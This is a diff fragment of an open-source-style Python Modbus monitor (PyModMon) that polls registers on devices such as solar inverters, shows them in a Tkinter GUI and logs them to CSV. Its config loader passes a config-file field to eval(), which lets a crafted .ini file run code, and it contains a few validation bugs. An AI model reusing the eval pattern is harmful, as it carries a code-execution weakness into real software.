self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + 